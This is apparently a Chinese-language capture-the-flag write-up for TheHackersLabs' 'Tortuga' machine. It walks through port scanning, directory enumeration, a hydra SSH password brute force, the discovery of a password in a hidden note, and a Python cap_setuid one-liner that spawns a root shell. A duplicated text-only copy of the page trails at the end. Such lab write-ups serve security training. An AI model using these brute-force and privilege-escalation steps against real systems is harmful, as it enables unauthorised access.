<h1>Tortuga</h1>
<blockquote>
<a href="https://labs.thehackerslabs.com/machine/131">https://labs.thehackerslabs.com/machine/131</a>
</blockquote>
<img src="/post-images/TheHackersLabsTortuga/image.png" alt="image.png">
<h2>Recon</h2>
<h3>PortScan</h3>
<pre><code class="hljs language-bash">➜ Tortuga nmap -sT -min-rate 10000 -p- 192.168.56.120
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 16:50 CST
Nmap scan report for 192.168.56.120
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:FE:83:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.92 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Tortuga nmap -sT -A -p 22,80 192.168.56.120 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 16:51 CST
Nmap scan report for 192.168.56.120
Host is up (0.00040s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
| 256 bd:bc:74:bc:a6:ab:09:29:2d:88:42:16:91:93:b1:a4 (ECDSA)
|_ 256 3b:99:fe:7e:ab:ae:b3:a7:05:b2:d1:73:08:6e:e7:a9 (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Isla Tortuga
MAC Address: 08:00:27:FE:83:66 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms 192.168.56.120

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.53 seconds
</code></pre>
<h3>枚举</h3>
HTTP
<img src="/post-images/TheHackersLabsTortuga/image1.png" alt="image.png">
页面中的两个链接
<pre><code class="hljs language-bash">La Tripulación de Tortuga 海龟船员

 Capitán Barbanegra – Estratega implacable. 黑胡子船长 – 无情的战略家。
 Corsario Rojo – Maestro de la espada.
 红色海盗船 – 剑之大师。
 Grumete Verde – Aprendiz despistado. 绿色小屋男孩 – 心不在焉的学徒。
 Timón de Hierro – El que nunca pierde el rumbo.
 铁舵——永不迷路的人。

"Quien domine el timón hallará el rumbo a la victoria..."
“谁主宰舵，谁就会找到胜利之路......”

"Recuerda: el viejo truco de las rutas dobles siempre funciona..."
“记住：双路线的老把戏总是有效的......”
</code></pre>
<pre><code class="hljs language-bash">Mapa de Isla Tortuga 托尔图加岛地图

~~~~~~~~~~~~~~~~~~~
~ PIRATE BAY ~
~~~~~~~~~~~~~~~~~~~
 | |
 | | X (tesoro enterrado)
 | |
~~~~~~~~~~~~~~~~~~~
~ PUERTO ~
~~~~~~~~~~~~~~~~~~~
 

Una nota arrugada se lee en la esquina del mapa...
地图的角落里写着一张皱巴巴的纸条......

"Ey grumete revisa la nota oculta que dejado en tu camarote..."
“嘿，船舱男孩，检查一下我留在你船舱里的隐藏纸条......”
</code></pre>
“<code>grumete</code> 检查船舱里的隐藏纸条“ 感觉是一个目录或者用户
目录扫描无结果
<pre><code class="hljs language-bash">➜ Tortuga gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip -u http://192.168.56.120/grumete
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &#x26; Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.120/grumete
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,zip
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 661680 / 661683 (100.00%)
===============================================================
Finished
===============================================================
</code></pre>
进行 <code>ssh</code> 爆破
<pre><code class="hljs language-bash">➜ Tortuga hydra -l grumete -P /usr/share/wordlists/rockyou.txt -t 8 192.168.56.120 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC &#x26; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-01 17:10:39
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 8 tasks per 1 server, overall 8 tasks, 14344399 login tries (l:1/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://192.168.56.120:22/
[STATUS] 121.00 tries/min, 121 tries in 00:01h, 14344278 to do in 1975:48h, 8 active
[STATUS] 120.00 tries/min, 360 tries in 00:03h, 14344039 to do in 1992:14h, 8 active
[STATUS] 121.29 tries/min, 849 tries in 00:07h, 14343550 to do in 1971:03h, 8 active
[22][ssh] host: 192.168.56.120 login: grumete password: 1234
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-01 17:19:48
</code></pre>
得到密码 <code>1234</code>
进去后能读取 user.txt
<pre><code class="hljs language-bash">grumete@TheHackersLabs-Tortuga:~$ cat user.txt 
c3fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>
<h2>权限提升</h2>
<h3>信息收集</h3>
家目录下 <code>.nota.txt</code> 得到一个密码 <code>mar_de_fuego123</code>
<pre><code class="hljs language-less">grumete@TheHackersLabs-Tortuga:~$ cat .nota.txt
Querido grumete,

Parto rumbo a la isla vecina por asuntos que no pueden esperar, estaré fuera un par de días.
Mientras tanto, confío en ti para que cuides del barco y de la tripulación como si fueran míos.

La puerta de la cámara del timón está asegurada con la contraseña:
 "mar_de_fuego123"

Recuerda, no se la reveles a nadie más. Has demostrado ser leal y firme durante todos estos años
navegando juntos, y eres en quien más confío en estos mares traicioneros.

Mantén la guardia alta, vigila las provisiones y cuida de que ningún intruso ponga un pie en cubierta.
Cuando regrese, espero encontrar el barco tal y como lo dejo hoy (¡y nada de usar la bodega de ron
para hacer carreras de tortugas otra vez!).

Con la confianza de siempre,
— El Capitán
</code></pre>
是用户 capitan 的密码
<img src="/post-images/TheHackersLabsTortuga/image2.png" alt="image.png">
上传 <code>linepas</code> 扫一波，发现 python 设置了特殊权限
<img src="/post-images/TheHackersLabsTortuga/image3.png" alt="image.png">
<ul>
<li><code>setcap</code>: 这是用来设置文件 Capabilities 的命令。</li>
<li><code>cap_setuid</code>: 这是要授予的具体能力。<code>CAP_SETUID</code> 允许一个进程改变其 UID（用户ID）。这是 SUID (Set User ID) 权限的核心能力。拥有这个能力的进程可以调用 <code>setuid(0)</code> 来将自己变成 root 用户。</li>
<li><code>=ep</code>: 这指定了要将 <code>cap_setuid</code> 添加到哪些 Capability 集合中。
<ul>
<li><code>e</code> (Effective): 有效集合。表示当程序运行时，这个能力立即生效。这是提权的关键。</li>
<li><code>p</code> (Permitted): 许可集合。表示程序被允许拥有这个能力，即使它暂时没有使用。</li>
</ul>
</li>
<li><code>/usr/bin/python3.11</code>: 这是被赋予能力的目标文件，即 Python 3.11 的可执行程序。</li>
</ul>
<pre><code class="hljs language-bash">capitan@TheHackersLabs-Tortuga:/tmp$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@TheHackersLabs-Tortuga:/tmp# 
</code></pre>
读取 root.txt
<pre><code class="hljs language-bash">root@TheHackersLabs-Tortuga:/root# cat root.txt 
c3fxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
</code></pre>

Tortuga

 https://labs.thehackerslabs.com/machine/131
 



Recon

PortScan





枚举

HTTP



页面中的两个链接





“`grumete` 检查船舱里的隐藏纸条“ 感觉是一个目录或者用户

目录扫描无结果



进行 `ssh` 爆破



得到密码 `1234`

进去后能读取 user.txt



...

TheHackersLabs - Tortuga

HackTheBox - Season9 - Imagery